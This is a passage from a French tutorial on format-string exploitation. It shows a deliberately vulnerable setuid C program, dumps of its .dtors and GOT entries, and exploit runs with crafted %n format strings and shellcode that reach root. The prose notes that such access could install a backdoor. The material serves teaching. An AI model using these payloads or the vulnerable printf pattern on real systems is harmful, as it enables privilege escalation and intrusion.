V°) Détourner le flot d'éxécution
Le problème de l'éxécution revient finalement à écrire à une adresse contenant une fonction éxécutée l'adresse d'une variable d'environnement
contenant un bytecode à nous. Ainsi, quand le programme devra éxécuter cette fonction, le flot d'éxécution sera détourné vers le bytecode. Dans cette
section, nous allons nous tenter d'une simple PoC (Proof of Concept), autrement dit, prouver que nous réussissons à exécuter du code arbitraire
avec les droits de l'utilisateur, et ce pour des questions de simplicité et de véracité. Notre but sera donc de tirer profit du programme fmt-vuln
(qui n'est autre que le programme utilisé dans les parties précédents, mais allégé) pour exécuter le programme hack. Ce programme peut être n'importe
quel programme, en langage compilé ou interprété, du moment qu'il ne demande pas de prompt ou d'intervention de l'utilisateur. Dans notre exemple,
notre programme va juste vérifier que nous avons bien gagné les droits root. Nous expliquerons tous ces détails quand il sera venu le temps de dévoiler
notre programme d'exploitation. Voici dores et déjà les deux programmes que nous venons de citer et quelques manipulations préliminaires :
//fmt-vuln.c : Vulnérabilité aux chaînes de caractères formatées
static int i = 1337;
int main() {
char commentaire[200];
printf("\ni = %d = %x et se trouve à 0x%x\n",i,i,&i);
printf("Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée\n");
scanf("%s",commentaire);
printf("On peut écrire votre commentaire de deux façons :\n\nComme ça, ");
printf("%s",commentaire);
printf("\n\nou comme ça : ");
printf(commentaire);
printf("\ni = %d = %x\n",i,i);
printf("\n\nFin du programme\n\n");
return 0;
}
//hack.cpp Vérification des droits utilisateurs
#include <iostream>
using namespace std;
int main() {
cout << ( geteuid() ? "Exécuté par un utilisateur normal" : "GOT ROOT ?!!!" ) << endl;
return 0;
}
$ g++ hack.cpp -o hack
$ ./hack
Exécuté par un utilisateur normal
$ su -
Mot de passe :
# ./hack
GOT ROOT ?!!!
# gcc -m32 fmt-vuln.c -o fmt-vuln && chmod +s fmt-vuln
# logout
$ ls -l ./ | grep fmt-vuln
-rwsr-sr-x 1 root root 7090 2007-11-01 16:41 fmt-vuln
En réalité, ces vulnérabilités permettent au moins d'écrire à une adresse arbitraire, et ceci suffit pour détourner le flot
d'exécution. En premier lieu, si on connait une adresse de la pile, on peut réécrire une adresse de retour. Mais d'autres
variables plus déterministes sont tout aussi intéressantes. Je vous proposes les deux premières exploitations de type "4 bytes write anywhere" : les réécritures des tables GOT et DTORS.
Réécriture de la table des destructeurs
Une chose très mal connue notamment des programmeurs est l'existence des destructeurs pendant l'éxécution d'un programme. Tout comme les destructeurs d'un objet, ils sont appellés à la fin d'un programme,
typiquement pour nettoyer. Voici l'exemple d'un programme utilisant un destructeur :
$ cat exemple_dtors.c
#include <stdio.h>
static void clean(void) __attribute__ ((destructor));
int main() {
printf("Fonction main\n");
return 0;
}
void clean(void)
{
printf("Appel au destructeur\n");
}
$ gcc exemple_dtors.c && ./a.out
Fonction main
Appel au destructeur
$
Effectivement, après que le main du programme soit éxécuté, la fonction clean est bien appellée et affiche le message attendu.
Jetons un coup d'oeil aux symboles du programme. On remarque les lignes suivantes :
$ nm ./a.out
[...]
08049594 d _GLOBAL_OFFSET_TABLE_
[...]
080494ac d __CTOR_END__
080494a8 d __CTOR_LIST__
080494b8 d __DTOR_END__
080494b0 d __DTOR_LIST__
[...]
0804839f t clean
[...]
$
La table des décalages globaux que nous avons cité plus haut sera étudiée comme une alternative à l'utilisation des destructeurs.
On remarque la liste des constructeurs (CTORS) et celle des destructeurs (DTORS). La fonction clean est bien évidemment aussi présente.
Regardons de plus près la table des destructeurs.
$ objdump -s -j .dtors ./a.out
./a.out: file format elf32-i386
Contents of section .dtors:
80494b0 ffffffff 9f830408 00000000 ............
$
D'après la liste des symboles, ffffffff correspond à __DTOR_LIST__ (puisque présent à 0x080494b0). A 0x080494b4, on a 9f830408 qui
n'est autre que clean() (en little endian bien sûr). A 0x080494b8, on a 00000000, correspondant à __DTOR_END__ d'après la liste des symboles.
L'idée de l'exploitation est simple. Si on réécrit l'adresse située à __DTOR_LIST__ +4 par une adresse où se situe un code arbitraire, notre code
serait éxécuté comme un destructeur. S'il n'y a aucun destructeur, il va de soi que réécrire __DTOR_END__ n'est en aucun cas grave, puisque c'est
après l'éxécution de notre code arbitraire qu'aura lieu l'éventuel segmentation fault. Vérifions tout de même que la table des destructeurs
est bien réinscriptible :
$ objdump -h ./a.out | grep -A 1 .dtors
17 .dtors 0000000c 080494b0 080494b0 000004b0 2**2
CONTENTS, ALLOC, LOAD, DATA
$
L'absence du flag READONLY semble approuver, l'exploitation paraît donc faisable.
Réécriture de la Global Offset Table
Nous n'allons pas ici réexpliquer en entier les sections des fichiers, comme PLT (
Procedure Linkage Table, la table que
l'éditeur de lien forme après avoir trouvé les différentes références aux fonctions). Disons seulement que les références externes d'un programme
sont gardées dans des tables afin de pouvoir les réutiliser fréquemment. Vous l'aurez deviné, il existe une section contenant les références externes,
appellée la GLobal Offset Table, qui est réinscriptible et qui va nous permettre de faire notre exploitation de la même façon qu'avec les destrcteurs.
$ objdump -s -j .got.plt ./fmt-vuln
./fmt-vuln: file format elf32-i386
Contents of section .got.plt:
8049748 74960408 00000000 00000000 06830408 t...............
8049758 16830408 26830408 36830408 46830408 ....&...6...F...
$ objdump -R ./fmt-vuln
./fmt-vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049744 R_386_GLOB_DAT __gmon_start__
08049754 R_386_JUMP_SLOT __gmon_start__
08049758 R_386_JUMP_SLOT __libc_start_main
0804975c R_386_JUMP_SLOT scanf
08049760 R_386_JUMP_SLOT printf
08049764 R_386_JUMP_SLOT puts
$
On imagine donc bien que si on place à l'adresse 0x08049760 l'adresse d'un code arbitraire, il sera exécuté à la place de l'appel à printf suivant.
Nous avons donc vu deux manières de faire exécuter un code arbitraire à notre programme en utilisant le mécanisme d'écriture à une adresse
arbitraire. Avant de pouvoir le mettre en oeuvre, il nous reste un problème : l'emplacement du code arbitraire à faire exécuter.
Exploitation
La façon classique d'exploiter cette faille que l'on peut lire partout est semblable à l'exploitation des buffer-overflows par
variables. Puisqu'aucun déterminisme des plages mémoires n'est possible, nous devrons encore une fois tout faire dans un programme d'exploitation.
Mais dans notre cas (et dans la majorité des cas), une difficulté supplémentaire s'ajoute : il faut dialoguer avec le programme vulnérable. Pour ce,
il faut se lancer dans les bases de la programmation système sous Linux. Ici, nous avons recréé la commande echo | ./fmt-vuln en C. Pour ne pas trop
compliquer puisque ce n'est pas notre but ici de faire un cours de programmation système, nous n'avons pas ramifié le code afin de retrouver la possibilité
d'écrire après l'exécution de l'echo, et de là vient la petite limitation que nous avions cité plus haut : après la fin de echo, execlp se termine et le processus
fils est arrêté : le côté écriture de la pipe est fermé. Dans les situations réelles, ce changement n'est que très peu préoccupant, car il permet d'exécuter
avec les droits root un programme qui lui peu installer un backdoor ou changer le password du root (en règle générale, le supprimer).
Voici donc ce que nous allons faire :
-> Stocker un bytecode lambda dans une variable d'environnement (en dehors du programme)
-> Récupérer la valeur de la variable d'environnement dans le processus en cours
-> Créer un tunnel de communication
-> Créer un processus fils
-> Relier la sortie du processus fils avec l'entrée du tunnel de communication et éxécuter dans ce processus fils l'echo de la chaîne formatée
-> Relier l'entrée du processus père avec la sortie du tunnel et éxécuter dans le père le programme vulnérable.
Et le tour devrait être joué. Ce programme étant un peu plus long que les programmes d'exploitation usuels, on se contente ici de donner le lien :
Tout d'abord, on doit repérer les adresses qui seront nos cibles :
$ objdump -s -j .dtors ./fmt-vuln
./fmt-vuln: file format elf32-i386
Contents of section .dtors:
8049668 ffffffff 00000000
$ objdump -R ./fmt-vuln
./fmt-vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049744 R_386_GLOB_DAT __gmon_start__
08049754 R_386_JUMP_SLOT __gmon_start__
08049758 R_386_JUMP_SLOT __libc_start_main
0804975c R_386_JUMP_SLOT scanf
08049760 R_386_JUMP_SLOT printf
08049764 R_386_JUMP_SLOT puts
On utilisera donc l'adresse 0x0804966c dans le cas de l'utilisation du .dtors (DTOR LIST + 4) et 0x08049760 pour l'utilisation de .got.plt (utilisation de printf).
Enfin, on utilise le même shellcode que celui fabriqué dans le tutoriel sur les shellcodes en utilisant ./hack au lieu de /bin/sh et on l'exporte dans une variable d'environnement
$ nasm shellcode2.asm
$ export BYTECODE=`cat shellcode2`
Place à l'exploitation. Dans l'ordre, on montre l'exploitation avec les destructeurs (ADDR_OW = "0x0804966c") puis celle avec la Global Offset Table
(ADDR_OW = "0x08049760"). On remarque que toujours pour des raisons d'égalité entre les adresses des variables d'environnement, le nom du programme d'exploitation
et celui du programme vulnérable ont la même longueur.
$ gcc exp-fmtv.c -o exp-fmtv && ./exp-fmtv
Contenu de la variable d'environnement : 1À°F1Û1ÙÍë[1ÀC[C
°
KS
Íèåÿÿÿ./hack
Variable d'environnement à 0xbf8dde71
Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x0804966c
Chaine formatée = lmno%6$353x%7$n%6$365x%8$n%6$175x%9$n%6$306x%10$n
i = 1337 = 539 et se trouve à 0x8049774
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, lmno%6$353x%7$n%6$365x%8$n%6$175x%9$n%6$306x%10$n
ou comme ça : lmno
b7f01ed2
b7f01ed2
b7f01ed2
b7f01ed2
b7f01ed2 b7f01ed2 b7f01ed2 b7f01ed2
i = 1337 = 539
Fin du programme
GOT ROOT ?!!!
$ nano exp-fmtv.c
$ gcc exp-fmtv.c -o exp-fmtv && ./exp-fmtv
Contenu de la variable d'environnement : 1À°F1Û1ÙÍë[1ÀC[C
°
KS
Íèåÿÿÿ./hack
Variable d'environnement à 0xbffb2e71
Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x08049760
Chaine formatée = `abc%6$353x%7$n%6$189x%8$n%6$461x%9$n%6$196x%10$n
i = 1337 = 539 et se trouve à 0x8049774
Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
On peut écrire votre commentaire de deux façons :
Comme ça, `abc%6$353x%7$n%6$189x%8$n%6$461x%9$n%6$196x%10$n
ou comme ça : `abc
b7fe1ed2
b7fe1ed2
GOT ROOT ?!!!
$
Notre preuve de concept est maintenant achevée. Attention, dans la plupart des systèmes aujourd'hui, la technique des destructeurs ne marchera pas,
car les programmes +s se séparent des privilèges avant l'appel au destructeur. On préfère désormais réécrire les pointeurs vers la
fonction _fini (qui appelle les destructeurs) au sein de la section DYNAMIC. La technique de la Global Offset Table reste bien sûr d'actualité (et est d'ailleurs
très utilisée). Cette exploitation pas franchement triviale conclut la première partie de la section sur l'exploitation de programmes et la compréhension de la
mémoire. J'espère finalement avoir pu vous faire apprécier comme je l'apprécie les méandres de l'escalade de privilèges
après exploitation de négligences de programmation.